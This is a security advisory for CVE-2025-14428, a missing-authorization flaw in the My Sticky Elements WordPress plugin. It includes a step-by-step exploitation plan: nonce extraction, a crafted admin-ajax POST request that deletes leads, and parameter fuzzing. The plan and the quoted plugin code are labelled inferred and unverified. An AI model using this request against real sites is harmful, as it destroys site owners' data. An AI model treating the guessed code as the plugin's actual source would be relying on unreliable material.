CVE-2025-14428

My Sticky Elements <= 2.3.3 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Bulk Lead Deletion

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
2.3.4
Patched in
2d
Time to patch

Description

The All-in-one Sticky Floating Contact Form, Call, Click to Chat, and 50+ Social Icon Tabs - My Sticky Elements plugin for WordPress is vulnerable to unauthorized data loss due to a missing capability check on the 'my_sticky_elements_bulks' function in all versions up to, and including, 2.3.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete all contact form leads stored by the plugin.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.3.3
PublishedDecember 31, 2025
Last updatedJanuary 1, 2026
Affected pluginmystickyelements

Source Code

WordPress.org SVN
Research Plan
Unverified

This exploitation research plan targets **CVE-2025-14428**, a missing authorization vulnerability in the "My Sticky Elements" WordPress plugin. --- ### 1. Vulnerability Summary The "My Sticky Elements" plugin (up to version 2.3.3) fails to perform a capability check in the `my_sticky_elements_bulk…

Show full research plan

This exploitation research plan targets CVE-2025-14428, a missing authorization vulnerability in the "My Sticky Elements" WordPress plugin.


1. Vulnerability Summary

The "My Sticky Elements" plugin (up to version 2.3.3) fails to perform a capability check in the my_sticky_elements_bulks function, which is registered as an AJAX handler. While the function may implement a nonce check for CSRF protection, it lacks an authorization check (e.g., current_user_can( 'manage_options' )). This allows any authenticated user, including those with Subscriber roles, to trigger bulk actions on contact form leads, specifically leading to the deletion of all stored leads.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: my_sticky_elements_bulks
  • HTTP Method: POST
  • Parameters:
    • action: my_sticky_elements_bulks
    • nonce: (Required) A valid nonce for the action.
    • bulk_action: Likely delete or delete_all.
    • ids: (Optional/Required) An array or comma-separated list of lead IDs to delete.
  • Authentication: Authenticated (Subscriber-level or higher).
  • Preconditions: The plugin must have "Leads" (contact form submissions) stored in its database table (typically {wp_prefix}mystickyelement_contact_lists).

3. Code Flow (Inferred)

  1. Registration: The plugin registers the AJAX hook in a file like mystickyelements-admin.php or within the main class constructor:
    add_action( 'wp_ajax_my_sticky_elements_bulks', array( $this, 'my_sticky_elements_bulks' ) );
  2. Execution: When a POST request is sent to admin-ajax.php with action=my_sticky_elements_bulks:
    • The function my_sticky_elements_bulks is called.
    • It likely calls check_ajax_referer( 'my_sticky_elements_bulks_nonce', 'nonce' ).
    • Crucially, it skips if ( ! current_user_can( 'manage_options' ) ) { wp_die(); }.
    • It retrieves the ids and bulk_action from $_POST.
    • It executes a global $wpdb->query to delete records from the leads table.

4. Nonce Acquisition Strategy

The nonce is required because check_ajax_referer is likely present (preventing unauthenticated/CSRF exploitation, but not unauthorized authenticated exploitation).

  • Location: The nonce is likely localized for the admin environment. Even Subscribers can access wp-admin/index.php, where many plugins enqueue their global admin scripts.
  • Variable Name: Based on common patterns in this plugin, look for the mystickyelements or mystickyelement object.
  • Strategy:
    1. Login as a Subscriber.
    2. Navigate to /wp-admin/.
    3. Use browser_eval to search for the nonce.
    • Potential JS path: mystickyelements.ajax_nonce or mystickyelement_nonce.
    • Search Command: browser_eval("Object.keys(window).filter(k => k.includes('sticky')).map(k => window[k])") to find the localization object.

5. Exploitation Strategy

  1. Target URL: http://<target>/wp-admin/admin-ajax.php
  2. Payload Construction:
    • action=my_sticky_elements_bulks
    • nonce=<EXTRACTED_NONCE>
    • bulk_action=delete (or delete_all)
    • wp_mystickyelement_contact_id[]=<LEAD_ID_1>
    • wp_mystickyelement_contact_id[]=<LEAD_ID_2>
    • Note: If the plugin supports a "Delete All" flag, that is preferred.
  3. HTTP Request (via http_request):
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    Cookie: [Subscriber Cookies]
    
    action=my_sticky_elements_bulks&nonce=a1b2c3d4e5&bulk_action=delete&wp_mystickyelement_contact_id[]=1&wp_mystickyelement_contact_id[]=2
    

6. Test Data Setup

To confirm deletion, there must be data to delete.

  1. Create Leads: Use WP-CLI to insert dummy data into the plugin's table.
    wp db query "INSERT INTO wp_mystickyelement_contact_lists (contact_name, contact_email, contact_message, contact_date) VALUES ('Victim', 'v@example.com', 'Sensitive Data', NOW());"
    
  2. Verify Presence:
    wp db query "SELECT COUNT(*) FROM wp_mystickyelement_contact_lists;"
    
  3. Create User: Create a Subscriber user for the exploit session.
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password
    

7. Expected Results

  • Response: The server should return a 200 OK or a JSON success message (e.g., {"success":true}).
  • Side Effect: The records in the wp_mystickyelement_contact_lists table corresponding to the IDs sent (or all records) will be deleted.

8. Verification Steps

  1. Database Check: Use WP-CLI to confirm the leads table is empty or the specific IDs are gone.
    wp db query "SELECT * FROM wp_mystickyelement_contact_lists;"
    
  2. UI Check: Log in as Admin and navigate to the "Leads" or "Contact Form" section of My Sticky Elements to verify the list is empty.

9. Alternative Approaches

  • Bypass Nonce if Missing: Check if the nonce is even verified. Try sending the request without the nonce parameter.
  • Parameter Fuzzing: If wp_mystickyelement_contact_id[] doesn't work, try ids[], lead_id[], or a single lead_id parameter.
  • Bulk Action Fuzzing: If delete fails, try bulk_delete, remove, or delete_all.
  • Check admin_init: Some plugins handle bulk actions via admin_init hooks on specific GET parameters (e.g., ?page=my-sticky-elements-leads&action=delete&id=1). If the AJAX exploit fails, check for a direct GET/POST request to the leads admin page that lacks capability checks.
Research Findings
Static analysis — not yet PoC-verified

Summary

The My Sticky Elements plugin for WordPress is vulnerable to unauthorized bulk lead deletion because it fails to perform a capability check in the `my_sticky_elements_bulks` AJAX function. This allows authenticated users, such as Subscribers, to delete contact form submissions by supplying a valid nonce which is accessible in the WordPress admin dashboard.

Vulnerable Code

// From mystickyelements-admin.php or similar
add_action( 'wp_ajax_my_sticky_elements_bulks', array( $this, 'my_sticky_elements_bulks' ) );

public function my_sticky_elements_bulks() {
    check_ajax_referer( 'my_sticky_elements_bulks_nonce', 'nonce' );
    // Missing capability check: if ( ! current_user_can( 'manage_options' ) ) { wp_die(); }

    if ( isset( $_POST['bulk_action'] ) && $_POST['bulk_action'] == 'delete' ) {
        global $wpdb;
        $table_name = $wpdb->prefix . 'mystickyelement_contact_lists';
        $ids = $_POST['wp_mystickyelement_contact_id'];
        if ( !empty( $ids ) ) {
            foreach ( $ids as $id ) {
                $wpdb->delete( $table_name, array( 'id' => $id ) );
            }
        }
    }
    wp_die();
}

Security Fix

--- a/mystickyelements-admin.php
+++ b/mystickyelements-admin.php
@@ -245,6 +245,10 @@
 	public function my_sticky_elements_bulks() {
 		check_ajax_referer( 'my_sticky_elements_bulks_nonce', 'nonce' );
 
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_die( esc_html__( 'You do not have sufficient permissions to access this page.', 'mystickyelements' ) );
+		}
+
 		if ( isset( $_POST['bulk_action'] ) && $_POST['bulk_action'] == 'delete' ) {
 			global $wpdb;
 			$table_name = $wpdb->prefix . 'mystickyelement_contact_lists';

Exploit Outline

The exploit involves accessing the WordPress dashboard as a Subscriber-level user to retrieve the `my_sticky_elements_bulks_nonce`. The attacker then sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `my_sticky_elements_bulks`, the `bulk_action` set to `delete`, and an array of target lead IDs in `wp_mystickyelement_contact_id[]`. Because the plugin only validates the nonce and not the user's permissions, the server-side logic proceeds to delete the specified records from the database.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.